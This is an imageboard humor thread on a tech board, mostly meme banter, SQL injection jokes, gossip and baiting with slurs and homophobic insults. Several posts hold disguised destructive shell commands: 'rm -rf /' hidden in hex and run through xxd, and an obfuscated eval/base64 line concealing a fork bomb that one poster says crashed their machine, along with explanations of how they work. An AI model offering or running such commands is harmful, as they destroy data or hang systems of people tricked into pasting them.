Cred Forums humor thread

kek

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I don't get this one

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It's a SQL null injection which deletes the entire database.

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:^)

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Do you have the one of the kid using the on screen keyboard instead of the laptop one?

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Thank you

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ALPHA AS FUCK

Geek squad prices

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he got the shakies at the start ):

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based as fuck

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It must belong to the parents of little Bobby tables. xkcd.com/327/

O(n) and O(n/2) are equivalent you moron

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>you_pass_butter.asf

Yeah sure... The programmer let the user input executes commands code that could corrupt or erase data... that's super smart...

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Post the one with the news that he drowned.

hahaha the asshole eyes of the robot interface before screw the game it's the best...

he drowned?

During a storm or something. Went missing actually.

>what is sql injection

Cred Forums knows that it's a joke of the behavior of the different states of cells in the conways game of life? right?

Good ol bobby tables...

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Damn..he is chillin

OK... I'll do some research...

oh boy, what are you doing on a tech board...

carpe diem

it's not my picture, the fuckhead who made that didn't understand big O

OK sir... I'm leaving this borad forever just because you insult me...

>what is input sanitization
10-12 years ago when all this webdev shit started and all the new "programmers" started flooding the internet, SQL injection was the way to go to pwn a system. Even universities did not propertly implement input validation.

Thanks for the information sir...

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thanks doc

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still better than the crap that usually comes from Sun

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why

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>Cred Forums humor

holy fuck lol

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no, it's posted all the time but nobody knows what it means

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Underrated

It's kind off like that the democrats used to be the Conservative party

ty user

>Homosexuals
>well adjusted

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ecksde

Lol, what a stupid redditfag

>throwaway00016

Obvious troll is obvious.

I wanna go home.

Muh sides

actually laughed aloud, thx mate

Why didn't he just $ man abs then?

I can imagine him as he say this. :)

Samsung netbook on the pic.

Shellhunter

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>Moot is a macfag
Why does this not surprise anyone?

>Games (20MB)
lmao

>scarf and gloves inside

all he's missing are some cool shades

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Would be funnier if it was slightly different but still an animu grill with screenfetch.

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>not Gilfoyle
Oh come on

Holy shit

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lol

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Needs to be a different distro on the screenfetch

It's poking fun at the fact that everyone in desktop threads uses arch and has an anime grill on the side.

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>lots of dranks

every time

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it's the samedesk meme folks

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I know, just saying the joke would be better if it was slightly different. It works on the same level as the actual card scene where they all act smug on pointless trivialities when they are all identical looking execs.

underrated

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I can't help but wonder why someone hasn't just hooked a slush puppy machine up to their desktop and called it a day, just let it keep your shit cool until you intend to eat it.

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That's the fucking joke you idiot

please tell me this was just photoshopped and no one actually went through the trouble of setting all this up.

Dude, that's what I'm saying, read my post a second time.

We know Apple shits on their users like Nvidia

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Hello mr.samefage

this is kind of edgy but at least it looks cool.

this nigga could make a version of minecraft using only powerpoint and in one sitting. i'd def hit him up with a schoolership if i had any

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>MB Air
>indoor
>where you have PC/iMac too
'Murica

digitaltrends.com/computing/anonymous-os-is-here-but-you-probably-shouldnt-download-it/

missing fury or gay porn tabs on bottom...

Kali meme tho

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>tfw we code in nodejs at work

Enjoy your smudgy ass monitor

For the life of me I cannot find this image as a png.

Fuck I lost.

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yandex reverse image search > google reverse image search

russian botnet > american botnet

moot looks like every autistic right before a picture they know is being taken.

Can I kill myself now?

the best meme online

Damn user, thanks.

He used to host the website on a cluster of Mac minis.

do you still have the screencap? i forgot to save it.

but honestly i think moot was trolling

Fucking lose

I once typed in gimp latex into a school computer because I wanted to find LaTeX plugins for gimp ;_;

This woulda looked hella good in metallic red with chrome accents.
I actually like it. Shame they aren't available anymore.

someone post more sleeping stallmans

Explanation is, angry 80s programming dropout hipster mad that he isn't relavent anymore and that nobody cares if you lose 512 bytes of memory

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When I was younger I, prices like that gave me work, even when I did it for half the price of the actual service shops.

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I'm actually curious about trying this out myself.
How did it go for you?
I just started college and I'm thinking of putting up some flyers about computer repair/virus removal and charging like half the price of geek squad, but I'm not sure how much business I will actually get.

Not anymore

prog newfag here
explain?

This would actually work fine, hes problem is that it's a Mac card and won't work on a PC without a reflash.

en.wikipedia.org/wiki/Big_O_notation

look up Algorithms sedgewick 4th edition, use Princeton's website.

Ouch

remember that time moot tried to leave and made a startup and it all went wrong then he cried and sold Cred Forums to go out and realise his dream of being a fulltime faggot?

shit was crazy, man

say what you will but he's now at google and making more than 95% of people here.

NO STEP ON SNEK

I still don't know on what grounds was he hired at google.
He isn't a talented programmer for sure.

I never even advertised it much, just all my friends and contacts knew I'm an IT fag and word spread, I used to do all kinds of crap, from helping people to pick computers to replacing hardware or installations/reinstallations, "virus removals", setting up computers, media centers, etc.

Every other day someone would call or come at my door, there was a period when I made ~600€ a month on the side just spending a few hours every week.

Don't know how well it would go today.

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any word on who/what he sold it to?

Probably community management.
That faggot's one of the pioneers of the internet as a social platform whether he likes it or not.

Yeah I've seriously been considering doing something like this, but after seeing dozens of craigslist pages filled with people doing the exact same thing I was kind of discouraged.

hello_fellow_students.txt

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>look it up
>81€ if i want to import it to germany
>most programming books are 20-40€
welp
good thing qstalledmeme has an inbuilt search engine.

I used to think that was so fucking cool but never liked any of the games. Sonic, even as a kid, seemed like a retarded flagship to me

Thats what you should really do, fucking retard

The book? Its free on their FTP server. Plus the site has slides and case studies to help.

Faggot should be spending time with his family.

i learned recently that it could actually work as a TV
they should've marketed it as a portable TV and it would have sold so much more
it was ahead of its time desu, nobody would watch TV on a device that small until smartphones

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Not many people get this but I do. You are awesome user

welp.
guess ill do that then.
i usually prefer hardcover books.

github.com/mtoyoda/sl
Making people mad by aliasing to dumb shit since 1993.

sl -a

I know how you feel. I've gotten used to reading my textbooks with document viewer with dual-pane so I can at least read it like a book.

What does that command do tho?

rf -rf /

>hella noms

>rf
rm*

RIP sides

this made my day

explaination? i mean, i see the echo and the pipeline, but i dont really get it

see
rm -rf / in base64

>sl
Truly the most important piece of software to have on your server.

>what is cowsay

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I think he's asking specifically what each part does.
I can tell that the outcome is identical to him having typed in rm -rf but I also don't understand why the terms he typed in have that effect.

see

You lack common sense? There's not much to explain here, just stare at that command for a fine minutes.

Nice

>lack common sense
no, I'm just not very experienced with bash scripting.

My Debian Jessie home server uses 400 MB max. Stable as a rock.

My single core Raspberry Pi runs Kodi with only 512 MB. It's not fast (800 MHz ARM) but it is stable.

Android Marshmallow runs like shit on my 1 GB phone. Can't really multitask and random reboots because no memory.

Wanna know what the difference is? You probably already guessed it.

inb4 shitty phone. My phone's hardware actually outclasses my home server and rpi.

Not as important as sl.

I get the first part but what does the part after the pipe do?

>pager
>yeah, sure, right
holy shit

dont be the pajeet of the situation and give us a brief explaination, ffs

Hey guys I look I have to show that I understand this joke!!

The first part is just rm -rf in hex, and although I can't explain what each part of the second part of the script does you can infer that it reverts it back to text and executes it (I think).
Not the guy you responded to, but that's what I'm able to figure out by looking at it.

Thank you user

Never worked in an office as a programmer. Why do people do this?

Starting from left to right
$(...)
This is the start of a command. Anything that is written inside this pair of parenthesis gets executed. For example
$(echo 'rm -rf /')
will executed 'rm-rf /'
echo 726d202d7266202a |
A common way of using programs is to enter in the information using the pipeline.

If for example I needed to use grep to search for a file there's two such ways I can do that
cat file | grep -e 'text'
or
grep file -e 'text'

Both are equal

Finally, xxd

xxd is a program that converts text to hex and hex to text. -r is reversal, -p is plain text.

So after the inside is completed, what you effectively have is
rm -rf /

Dating apps are technology. Do I need to explain what I found humorous here?

I was trying to install tewisay and its missing some tewisay.1.txt, I assume its for the man page.

If the thing on the right is based on FezPaladin, then I think I get it.
It's the 'summer dress' thing combined with the internet dating, right?

This is a great explanation, thanks.

> bullet for my valentine
not surprising
cool visualization though, didn't know ncmpcpp could do that

Some Chinese guy

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What's the joke here?
Seems like a relatively serious company...

Mostly just his assumption dating apps work for everyone else how they do for hetero men.

Based on those profiles I wouldn't hang with any of these guys, they just sound so fucking sad.

I took a picture of this hanging router at a freelance job I did a year or two back.

Is it humorous?

What about this?

eval $(echo 'a2Vrf3xvcml\'ZW%3t`r()(r{,52}|r{,});r`2'6a2VrZQo=' | base64 -d)

is there a difference between engineers and universal outcasts

wasn't there a time where saying eval() would get you banned?

Bye

>calling anyone a nigger when you have a proper shit skin

What the fuck is this Reddit shit?

Leave

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salty cs major detected

I don't get it

Won't work anyways. * Or npr missing. Faggot

I don't get it

This is so true...

Whatever it is, it just crashed my computer

Doing echo 'a2Vrf3xvcml\'ZW%3t`r()(r{,52}|r{,});r`2'6a2VrZQo=' | base64 -d
was able to do it by itself. It looks like just forked itself multiple times, effectively creating thousands of processes

>running code you don't understand from Cred Forums

At least it was kind enough not to delete system32.

Echoing something to base64 doesn't (or at least shouldn't) do anything without $(). I just wanted to see what was the output

Writing unoptimized, bloated and lazy code contributes to global warming, by using far more energy than the program would otherwise need.

Java and VMfags are literally destroying the planet, in addition to just being faggots in general.

C developers:

[X]Intelligent
[X]Smell Good
[X]Walk standing upright, due to good genetics and high self-esteem
[X]Deep and intricate knowledge of computer hardware and memory
[X]Freely and selflessly offer profound insight on a broad range of topics
[X]Understands the use of newer languages because they understand programming, but often chooses to write in C because it is fast, portable and to the point

Java "Developers":

[X]Hostile and defensive
[X]Generally unhygenic
[X]Tend to talk about things they know nothing about
[X]No friends, let alone girlfriends
[X]Suspicious of anything other than their meme language - they do not understand programming and so cannot understand why Java is not the automatic answer

>not spending 30 sec on configuring a VM and maybe learning something new
yea, better stay safe

Well played

The eval, $(), echo and base64 are decoys. They don't actually do anything.

The actual payload is `r()(r{,52}|r{,});r`, which runs regardless.

>not having the smarts to reverse engineer it without running it
yeah, better stay pleb

How would someone change that crap to the actual command without running it? echo echo or something? Like how would I figure out what the command did without running it. Get a separate hexadecimal converter?

But the backticks are within quotes. They should be evalued.

>MINECRAFT IS SLOW BECAUSE OF JAVA

where did this meme begin?

This is the first time I've seen a thread derail into a more educational and informative topic than the original one.
I'm impressed.

Well, lurk moar newfriend

The connection?

>both are for pussies

I've been here since 2011 you fucking faggot never speak that way to me again.

Official newfriend achievement unlocked.

>posts image of not responding to my bait
>proceeds to respond to my bait
W E W
E
W

I bet you could slice a carrot via the fan on the right.

if you would be here for longer you would know that when someone mentions "here since" it's a fact that they are talking out of their ass

If you had been here since 2011 like me you would have recognized that that post was bait.

>since 2011

Needs more desu.

>mfw I've been here since 2009 and I post from my phone bc I have to work most of the day

according to this shitty timeline phoneposters have yet to discover this website, which is obviously wrong.
Kill yourself and stay on Cred Forums.

did i tickle your autism?

>colorbling

I came in 2004 following some edited ffvii doujin porn and people were yelling about cancer.

But he hates gentoo

Friendly reminder that you're here forever.

unlike everyone else on this site I don't actually have autism.
I know that's frowned upon here and I'm probably ruining the reputation tied to my username here, but fuck it.
I just wanted to let you know that I'm unique and bring diverse culture and thoughts to this forum site.

I don't see what's wrong here

That's bad bait, even for a faggot

I expelled air from my nostrils with considerable force

I got a (You) so it worked, faggot.

Being an oldfag is suffering for multiple reasons - the biggest being why am I still here and when will the pain stop?

Web devs are just a giant meme

Fucking hell

>Previous commands
>var b:string = "hello world";
>print("hello world");
Lost

It's endearing knowing there are people in such a desperate situation, I'm glad I'm not forced to act this way.

Is this real?

>on Cred Forums
>thinks he's better off than anyone else
As long as you're here you are literally the lowest of the low.

>no ethernet port
Into the trash

Keep believing that.

It's not about being better it's about being content. The person I'm replying too is very desperate for attention which seems like a nightmare scenario to be in, I'm really glad I'm not that way, it's something you can think about and compare your situation to, at least I'm not as sorry as them.

2014 masterrace reporting in

>I'm bad therefore everyone else here is bad
LOL

>the person I'm replying to is very desperate for attention
And yet you keep responding to him?
And no, I'm not really desperate for attention but I'm sitting in class right now and I already learned the material were going over today so I wanted to do some shitposting.
Also, looks like I got a good b8 post finally >:)

mistake is in step 4.

me neither user :\

Topkek, baby's first bait

(a+b)(a-b) = a^2 - b^2

tho

>And yet you keep responding to him?
Why shouldn't I? They're dependent on it and it's of no cost to me, I'm really curious to know what these people are like. It seems like the lowest possible level to be at, ultimate destitute and exile. Can you imagine being so unlikable that the only way you can get any kind of human interaction is by posting inflamitory comments on purpose anonymously, I really wish to understand how people get to such a point, it's fascinating.

>And no, I'm not really desperate for attention but I'm sitting in class right now and I already learned the material were going over today so I wanted to do some shitposting.
I'm sorry but I don't buy this story, it's very typical of these people to be in either some form of denial or try to mask what they're doing. Even if what you say is true you're still dependent on it, you have no other choice or way to pass the time, this is your only option.

>still replying to my bait
You have to be at least 18 years old to be here.

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>this is your only option
Yes, given my current circumstances my options are either listen to my pajeet professor talk about things I already know, or shitpost here and get a reaction out of people.
Pic related is my room. Feel kinda bad for the random guys face I got, but he should've been facing forward.

I'm sorry for your situation, maybe things will get better for you in the future. A friend or two to communicate with or something to spend your time on.

>mfw i did all of that

>A friend or two
Just got back from visiting my friends dorm and had this class.
Seriously, I don't understand why you guys are so convinced that just because your lives suck so do everyone else's.
I'm seriously considering going back to r/technology. The community there is much more intelligent, helpful, and funny than here.

>dividing by 0

I'm enjoying your autistic responses way too much.

where I'm from dentists charge less

What a coincidence. I feel the same way about your posts.

Says the shitposter who made a joke of himself :^)

Are you really such a brainlet that you can't even discern between genuine autism and subtle bait?
I bet you use the Linux OS also.

If you say so I have no choice but to believe you, I just hope you're not trying to convince yourself of anything that isn't true. I'll say that it's hard to believe someone would act this way while actually being content, people that do this are very typical. You already admitted to not paying attention to the class.

I should clarify that I'm not trying to be mean or condescending, I'm just always curious about these kinds of people and the situations they're in.

>IMG_20160920_144129110.jpg
>1441

'Murica, no surprise.

This is fucking hilarious, people like that are really in huge denial of reality

>not paying attention in class
I'm sitting in macro economics right now, and I've already taken micro. The first half of the courses are pretty much identical which is why I don't need to pay attention.

I don't understand why this is funny could you please explain?

double kek

At least he finally got some attention.

>Are you really such a brainlet that you can't even discern between genuine autism and subtle bait?
Poe's law. Saying such a thing on this website in itself is indiscernible from parody or irony.

Too bad the thread hit bump limit, the one faggot who started attention whoring was really making this fun.

Poe's law doesn't apply to this.
Most of my posts were full of the most common and generic bait content possible.
If anyone has been here since 2011 like I was they would be able to tell it was just b8.

Make a new thread then. Believe it or not I did contribute a lot to this thread before I got bored and started shitposting.

I feel even worse now. Empathy is a curse.

Oh god I didn't even notice. Another sign.

>I did contribute a lot to this thread
No wonder the quality of the thread sucked ass

i don't get it...

>most common and generic bait content possible.
That's falls in line exactly with what Poe says. In a place like this with such a huge exchange of users it's not possible to tell the difference, if people spout it enough the new users will eventually believe it. Any community that gets its kicks by pretending to be idiots will eventually be flooded with real idiots, with the anonymous nature it's not possible to tell the parody from the sincere.

>If anyone has been here since 2011 like I was they would be able to tell it was just b8.
That's just not the case, if anything the longer you've been here the less benefit of the doubt you give.

Holy shit, this dude is delusional. Having a blast here.

I posted the following:
If you had an adequate knowledge of the English language (which you probably don't since you're a europoor) you would notice that these images pretty much all received good feedback and brought much joy to several different anons.

Actually, I'd wager I'm one of the more sane ones here.
I'm socially normal, have a girlfriend, use a Mac, etc. I never really understood the whole obsession with autism here.

this still gets me every fucking time.

No doubt

Holy shit.
This right here? This is autism. Not Cred Forums "lel autistic XDD" autism, no. This is legitimate, medical grade autism. This is what mothers everywhere fear when they find out they're pregnant. This is what gets put up for adoption because parents "aren't ready for this type of responsibility". This is what midwest American idiots think comes as a result of vaccination. This is what kills families. This is what kids think of when they hear "slow". This is fucking autism.

>people keep adding on more categories because they want to feel cool and don't want to be associated with the ones before them

You're trying too hard bro, spend a few more years on Cred Forums.
Just a friendly advice, no hate.

>listing out your posts like that
>being so awkward you need to count up your "I'm funny" points
This is actually autistic or at least a social disorder, maybe asburgers or however you spell it.

Well at least while you've been "fucking autism," I've been fucking my gf.

>trying too hard
>successfully derailed a thread to bump limit
I think I'm doing a bretty gud job desu fampai.

Topkek
>"lel autistic XDD"

It could just be narcissism, they don't do well with anonymity.

That's not an accomplishment, it's really easy to be unlikable, it's less easy to be likable and make quality posts instead of goading. Why would you act that way intentionally?

Cred Forums is leaking again

It's me here.
A lot of people confuse my personality for narcissism, and while I do portray many similar qualities that simply isn't the case. Narcissism implies that you are unreasonably obsess with yourself, but since k am objectively superior to everyone else here it isn't narcissism.

Because this is an anonymous forum and I can act however I want. I may be shot posting here but I also have more threads open where I'm helping people.

Desperation.

This is the kind of fucknuts why I come into these threads.

kek

Tell us about your dick size.

>Because this is an anonymous forum and I can act however I want.
Just because you can doesn't mean you should. If you wish to act superior then you should conduct yourself as such.

>I may be shot posting here but I also have more threads open where I'm helping people.
It's not a numbers game.

Search for -> SQL Injection and Input Sanitization

>A lot of people confuse my personality for narcissism, and while I do portray many similar qualities that simply isn't the case. Narcissism implies that you are unreasonably obsess with yourself, but since k am objectively superior to everyone else here it isn't narcissism.
What is the mental equivalent of poe's law? Denial?

He's just a kid with immature views on things, he'll grow out of it.

Glad to see someone understand the point of humor threads is to have fun.
I had quite a lot of fun shitposting here and I hope everyone else did watching me as well.
Actually, I still have around 20 minutes left to shitpost before I have to drive back home, so if someone wants to make a new thread I can make that one funny also.

At this point in the thread you really shouldn't be replying to anyone except me.

I am conducting myself as being superior by spreading joy through funny images (I quoted all the images I posted above).

It's 6". I think it's pretty normal, but pretty good for someone of Pakistani descent.

Actually I'm not a kid anymore I'm in college and I have my own car and license.

This is some premium quality.

Thank you for this.
An user above told me my bait was shit, so I'm glad that I was able to improve over the course of the thread.

You would hope so, without direction or care I worry about the next generation. The vocal people that post here seem to have a whole slew of issues, Cred Forums especially has social problems. Without human interactions I doubt these people will change for the better. This person is already choosing to be disruptive here over anything else they could be doing. I wouldn't be surprised if this seeped into their personal life.

You're welcome.
That user was me, bait is always shit, premium quality shit is still shit.

I'm just shit ironically

Stop pretending to be me faggot.
Pic is proof that you are not me

There's nothing ironic in being a idiot.

I'm only pretending to be an idiot, just because I act like an idiot doesn't make me one.

That's the kind of shit that these people tell themselves to make them feel better.

This nigger is not me.
Anyway, if someone makes another thread I'll contribute both with improved shitposting and funny pictures.

check em

I guess movies are real then

10/10

Holy shit man this thread is amazing.
Mostly due to my amazing shitposting, but your get just made this so much better.

Alright I just want to thank everyone for replying to my bait posts, I really enjoyed this whole thread.
I'm going to save the whole thing and show it to my IRC friends when I get home.

If your default action when "bored in class" is to pretend to be stupid then I don't know what to say. You might just be stupid.

k

>IRC friends
ouch

Second best post after the get.
Best humour.

Can you stop pretending to be me?

I rage everytiem

Thanks for the (You)

that leejunfag mask

real example of this?

I should probably be on Cred Forums and even I got both references.

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Uhhhh... Pic related released in '82.

Regardless, it was a cool feature they should have been pimping.

>games
not mentioning nethack or dorf, fkn plebian

Well fuck

>all they could do is call me homophobic names.

>tfw reddit-tier
>did hardly even know about reddit before I came here
Life is hard without the anons approval...

>Yankee go home!!!

fpbp

It's meant to parallel American Psycho, the idea that all the yuppies are the same from any third-person perspective. All the desktops in the general threads are the same when you break it down.

>since 2011
Hello newfriend